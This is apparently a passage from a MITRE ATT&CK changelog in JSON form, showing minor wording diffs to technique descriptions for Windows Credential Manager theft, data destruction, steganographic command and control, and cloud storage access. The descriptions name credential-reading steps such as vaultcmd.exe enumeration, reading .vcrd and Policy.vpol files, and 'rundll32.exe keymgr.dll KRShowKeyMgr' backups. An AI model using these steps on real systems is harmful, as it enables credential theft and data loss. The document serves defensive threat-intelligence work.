"url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
},
{
"source_name": "Delpy Mimikatz Crendential Manager",
"description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.",
"url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"
},
{
"source_name": "Microsoft Credential Locker",
"description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"
},
{
"source_name": "Microsoft Credential Manager store",
"description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.",
"url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"
},
{
"source_name": "Microsoft CredEnumerate",
"description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"
},
{
"source_name": "passcape Windows Vault",
"description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.",
"url": "https://www.passcape.com/windows_password_recovery_vault_explorer"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Bernaldo Penas Antelo",
"Mugdha Peter Bansode",
"Uriel Kosayev",
"Vadim Khrykov"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:41:03.391000+00:00\", \"old_value\": \"2025-10-24 17:49:26.444000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\\n\\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\\n\\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\\n\\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n\\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \\u201cBack up...\\u201d button on the \\u201cStored User Names and Passwords\\u201d GUI.\\n\\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)\", \"old_value\": \"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\\n\\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\\n\\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\\n\\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n\\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \\u201cBack up...\\u201d button on the \\u201cStored User Names and Passwords\\u201d GUI.\\n\\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)\", \"diff\": \"--- \\n+++ \\n@@ -4,7 +4,7 @@\\n \\n Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Local\\\\Microsoft\\\\\\\\[Vault/Credentials]\\\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\\n \\n-Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n+Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be abused to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\\n \\n Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the \\u201cBack up...\\u201d button on the \\u201cStored User Names and Passwords\\u201d GUI.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may acquire credentials from the Windows Credent | t | 1 | Adversaries may acquire credentials from the Windows Credent |
| > | ial Manager. The Credential Manager stores credentials for s | > | ial Manager. The Credential Manager stores credentials for s | ||
| > | igning into websites, applications, and/or devices that requ | > | igning into websites, applications, and/or devices that requ | ||
| > | est authentication through NTLM or Kerberos in Credential Lo | > | est authentication through NTLM or Kerberos in Credential Lo | ||
| > | ckers (previously known as Windows Vaults).(Citation: Micros | > | ckers (previously known as Windows Vaults).(Citation: Micros | ||
| > | oft Credential Manager store)(Citation: Microsoft Credential | > | oft Credential Manager store)(Citation: Microsoft Credential | ||
| > | Locker) The Windows Credential Manager separates website c | > | Locker) The Windows Credential Manager separates website c | ||
| > | redentials from application or network credentials in two lo | > | redentials from application or network credentials in two lo | ||
| > | ckers. As part of [Credentials from Web Browsers](https://at | > | ckers. As part of [Credentials from Web Browsers](https://at | ||
| > | tack.mitre.org/techniques/T1555/003), Internet Explorer and | > | tack.mitre.org/techniques/T1555/003), Internet Explorer and | ||
| > | Microsoft Edge website credentials are managed by the Creden | > | Microsoft Edge website credentials are managed by the Creden | ||
| > | tial Manager and are stored in the Web Credentials locker. A | > | tial Manager and are stored in the Web Credentials locker. A | ||
| > | pplication and network credentials are stored in the Windows | > | pplication and network credentials are stored in the Windows | ||
| > | Credentials locker. Credential Lockers store credentials i | > | Credentials locker. Credential Lockers store credentials i | ||
| > | n encrypted `.vcrd` files, located under `%Systemdrive%\\User | > | n encrypted `.vcrd` files, located under `%Systemdrive%\\User | ||
| > | s\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\` | > | s\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\` | ||
| > | . The encryption key can be found in a file named <code>Poli | > | . The encryption key can be found in a file named <code>Poli | ||
| > | cy.vpol</code>, typically located in the same folder as the | > | cy.vpol</code>, typically located in the same folder as the | ||
| > | credentials.(Citation: passcape Windows Vault)(Citation: Mal | > | credentials.(Citation: passcape Windows Vault)(Citation: Mal | ||
| > | warebytes The Windows Vault) Adversaries may list credentia | > | warebytes The Windows Vault) Adversaries may list credentia | ||
| > | ls managed by the Windows Credential Manager through several | > | ls managed by the Windows Credential Manager through several | ||
| > | mechanisms. <code>vaultcmd.exe</code> is a native Windows e | > | mechanisms. <code>vaultcmd.exe</code> is a native Windows e | ||
| > | xecutable that can be used to enumerate credentials stored i | > | xecutable that can be used to enumerate credentials stored i | ||
| > | n the Credential Locker through a command-line interface. Ad | > | n the Credential Locker through a command-line interface. Ad | ||
| > | versaries may also gather credentials by directly reading fi | > | versaries may also gather credentials by directly reading fi | ||
| > | les located inside of the Credential Lockers. Windows APIs, | > | les located inside of the Credential Lockers. Windows APIs, | ||
| > | such as <code>CredEnumerateA</code>, may also be absued to l | > | such as <code>CredEnumerateA</code>, may also be abused to l | ||
| > | ist credentials managed by the Credential Manager.(Citation: | > | ist credentials managed by the Credential Manager.(Citation: | ||
| > | Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendenti | > | Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendenti | ||
| > | al Manager) Adversaries may also obtain credentials from cr | > | al Manager) Adversaries may also obtain credentials from cr | ||
| > | edential backups. Credential backups and restorations may be | > | edential backups. Credential backups and restorations may be | ||
| > | performed by running <code>rundll32.exe keymgr.dll KRShowKe | > | performed by running <code>rundll32.exe keymgr.dll KRShowKe | ||
| > | yMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cS | > | yMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cS | ||
| > | tored User Names and Passwords\u201d GUI. Password recovery tool | > | tored User Names and Passwords\u201d GUI. Password recovery tool | ||
| > | s may also obtain plain text passwords from the Credential M | > | s may also obtain plain text passwords from the Credential M | ||
| > | anager.(Citation: Malwarebytes The Windows Vault) | > | anager.(Citation: Malwarebytes The Windows Vault) |
del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1485",
"external_id": "T1485"
},
{
"source_name": "DOJ - Cisco Insider",
"description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.",
"url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"
},
{
"source_name": "Unit 42 Shamoon3 2018",
"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
"url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
},
{
"source_name": "Palo Alto Shamoon Nov 2016",
"description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
},
{
"source_name": "FireEye Shamoon Nov 2016",
"description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
},
{
"source_name": "Kaspersky StoneDrill 2017",
"description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Data Destruction - Threat Post",
"description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.",
"url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"
},
{
"source_name": "Symantec Shamoon 2012",
"description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
"url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Brent Murphy, Elastic",
"David French, Elastic",
"Syed Ummar Farooqh, McAfee",
"Prasad Somasamudram, McAfee",
"Sekhar Sarukkai, McAfee",
"Varonis Threat Labs",
"Joey Lei"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"ESXi",
"IaaS",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:42:40.660000+00:00\", \"old_value\": \"2026-05-12 15:12:00.717000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\\n\\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n\\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)\\n\\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.\", \"old_value\": \"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\\n\\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n\\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\\n\\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\\n \\n-To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\\n+To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)\\n \\n In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.\"}}}",
"previous_version": "1.4",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may destroy data and files on specific systems o | t | 1 | Adversaries may destroy data and files on specific systems o |
| > | r in large numbers on a network to interrupt availability to | > | r in large numbers on a network to interrupt availability to | ||
| > | systems, services, and network resources. Data destruction | > | systems, services, and network resources. Data destruction | ||
| > | is likely to render stored data irrecoverable by forensic te | > | is likely to render stored data irrecoverable by forensic te | ||
| > | chniques through overwriting files or data on local and remo | > | chniques through overwriting files or data on local and remo | ||
| > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | > | te drives.(Citation: Symantec Shamoon 2012)(Citation: FireEy | ||
| > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | > | e Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Ci | ||
| > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | > | tation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon | ||
| > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | > | 3 2018)(Citation: Talos Olympic Destroyer 2018) Common opera | ||
| > | ting system file deletion commands such as <code>del</code> | > | ting system file deletion commands such as <code>del</code> | ||
| > | and <code>rm</code> often only remove pointers to files with | > | and <code>rm</code> often only remove pointers to files with | ||
| > | out wiping the contents of the files themselves, making the | > | out wiping the contents of the files themselves, making the | ||
| > | files recoverable by proper forensic methodology. This behav | > | files recoverable by proper forensic methodology. This behav | ||
| > | ior is distinct from [Disk Content Wipe](https://attack.mitr | > | ior is distinct from [Disk Content Wipe](https://attack.mitr | ||
| > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | > | e.org/techniques/T1561/001) and [Disk Structure Wipe](https: | ||
| > | //attack.mitre.org/techniques/T1561/002) because individual | > | //attack.mitre.org/techniques/T1561/002) because individual | ||
| > | files are destroyed rather than sections of a storage disk o | > | files are destroyed rather than sections of a storage disk o | ||
| > | r the disk's logical structure. Adversaries may attempt to | > | r the disk's logical structure. Adversaries may attempt to | ||
| > | overwrite files and directories with randomly generated data | > | overwrite files and directories with randomly generated data | ||
| > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | > | to make it irrecoverable.(Citation: Kaspersky StoneDrill 20 | ||
| > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | > | 17)(Citation: Unit 42 Shamoon3 2018) In some cases political | ||
| > | ly oriented image files have been used to overwrite data.(Ci | > | ly oriented image files have been used to overwrite data.(Ci | ||
| > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | > | tation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoo | ||
| > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | > | n Nov 2016)(Citation: Kaspersky StoneDrill 2017) To maximiz | ||
| > | e impact on the target organization in operations where netw | > | e impact on the target organization in operations where netw | ||
| > | ork-wide availability interruption is the goal, malware desi | > | ork-wide availability interruption is the goal, malware desi | ||
| > | gned for destroying data may have worm-like features to prop | > | gned for destroying data may have worm-like features to prop | ||
| > | agate across a network by leveraging additional techniques l | > | agate across a network by leveraging additional techniques l | ||
| > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | > | ike [Valid Accounts](https://attack.mitre.org/techniques/T10 | ||
| > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | > | 78), [OS Credential Dumping](https://attack.mitre.org/techni | ||
| > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | > | ques/T1003), and [SMB/Windows Admin Shares](https://attack.m | ||
| > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | > | itre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2 | ||
| > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | > | 012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto | ||
| > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | > | Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Cita | ||
| > | tion: Talos Olympic Destroyer 2018). In cloud environments, | > | tion: Talos Olympic Destroyer 2018) In cloud environments, | ||
| > | adversaries may leverage access to delete cloud storage obj | > | adversaries may leverage access to delete cloud storage obje | ||
| > | ects, machine images, database instances, and other infrastr | > | cts, machine images, database instances, and other infrastru | ||
| > | ucture crucial to operations to damage an organization or th | > | cture crucial to operations to damage an organization or the | ||
| > | eir customers.(Citation: Data Destruction - Threat Post)(Cit | > | ir customers.(Citation: Data Destruction - Threat Post)(Cita | ||
| > | ation: DOJ - Cisco Insider) Similarly, they may delete virt | > | tion: DOJ - Cisco Insider) Similarly, they may delete virtu | ||
| > | ual machines from on-prem virtualized environments. | > | al machines from on-prem virtualized environments. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use steganographic techniques to hide comman | t | 1 | Adversaries may use steganographic techniques to hide comman |
| > | d and control traffic to make detection efforts more difficu | > | d and control traffic to make detection efforts more difficu | ||
| > | lt. Steganographic techniques can be used to hide data in di | > | lt. Steganographic techniques can be used to hide data in di | ||
| > | gital messages that are transferred between systems. This hi | > | gital messages that are transferred between systems. This hi | ||
| > | dden information can be used for command and control of comp | > | dden information can be used for command and control of comp | ||
| > | romised systems. In some cases, the passing of files embedde | > | romised systems. In some cases, the passing of files embedde | ||
| > | d using steganography, such as image or document files, can | > | d using steganography, such as image or document files, can | ||
| > | be used for command and control. | > | be used for command and control.(Citation: Kaspersky)(Citati | ||
| > | on: Sophos - Cover Their Tracks) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may access data from cloud storage. Many IaaS p | t | 1 | Adversaries may access data from cloud storage. Many IaaS p |
| > | roviders offer solutions for online data object storage such | > | roviders offer solutions for online data object storage such | ||
| > | as Amazon S3, Azure Storage, and Google Cloud Storage. Simi | > | as Amazon S3, Azure Storage, and Google Cloud Storage. Simi | ||
| > | larly, SaaS enterprise platforms such as Office 365 and Goog | > | larly, SaaS enterprise platforms such as Office 365 and Goog | ||
| > | le Workspace provide cloud-based document storage to users t | > | le Workspace provide cloud-based document storage to users t | ||
| > | hrough services such as OneDrive and Google Drive, while Saa | > | hrough services such as OneDrive and Google Drive, while Saa | ||
| > | S application providers such as Slack, Confluence, Salesforc | > | S application providers such as Slack, Confluence, Salesforc | ||
| > | e, and Dropbox may provide cloud storage solutions as a peri | > | e, and Dropbox may provide cloud storage solutions as a peri | ||
| > | pheral or primary use case of their platform. In some case | > | pheral or primary use case of their platform. In some case | ||
| > | s, as with IaaS-based cloud storage, there exists no overarc | > | s, as with IaaS-based cloud storage, there exists no overarc | ||
| > | hing application (such as SQL or Elasticsearch) with which t | > | hing application (such as SQL or Elasticsearch) with which t | ||
| > | o interact with the stored objects: instead, data from these | > | o interact with the stored objects: instead, data from these | ||
| > | solutions is retrieved directly though the [Cloud API](http | > | solutions is retrieved directly through the [Cloud API](htt | ||
| > | s://attack.mitre.org/techniques/T1059/009). In SaaS applicat | > | ps://attack.mitre.org/techniques/T1059/009). In SaaS applica | ||
| > | ions, adversaries may be able to collect this data directly | > | tions, adversaries may be able to collect this data directly | ||
| > | from APIs or backend cloud storage objects, rather than thro | > | from APIs or backend cloud storage objects, rather than thr | ||
| > | ugh their front-end application or interface (i.e., [Data fr | > | ough their front-end application or interface (i.e., [Data f | ||
| > | om Information Repositories](https://attack.mitre.org/techni | > | rom Information Repositories](https://attack.mitre.org/techn | ||
| > | ques/T1213)). Adversaries may collect sensitive data from | > | iques/T1213)). Adversaries may collect sensitive data from | ||
| > | these cloud storage solutions. Providers typically offer sec | > | these cloud storage solutions. Providers typically offer se | ||
| > | urity guides to help end users configure systems, though mis | > | curity guides to help end users configure systems, though mi | ||
| > | configurations are a common problem.(Citation: Amazon S3 Sec | > | sconfigurations are a common problem.(Citation: Amazon S3 Se | ||
| > | urity, 2019)(Citation: Microsoft Azure Storage Security, 201 | > | curity, 2019)(Citation: Microsoft Azure Storage Security, 20 | ||
| > | 9)(Citation: Google Cloud Storage Best Practices, 2019) Ther | > | 19)(Citation: Google Cloud Storage Best Practices, 2019) The | ||
| > | e have been numerous incidents where cloud storage has been | > | re have been numerous incidents where cloud storage has been | ||
| > | improperly secured, typically by unintentionally allowing pu | > | improperly secured, typically by unintentionally allowing p | ||
| > | blic access to unauthenticated users, overly-broad access by | > | ublic access to unauthenticated users, overly-broad access b | ||
| > | all users, or even access for any anonymous person outside | > | y all users, or even access for any anonymous person outside | ||
| > | the control of the Identity Access Management system without | > | the control of the Identity Access Management system withou | ||
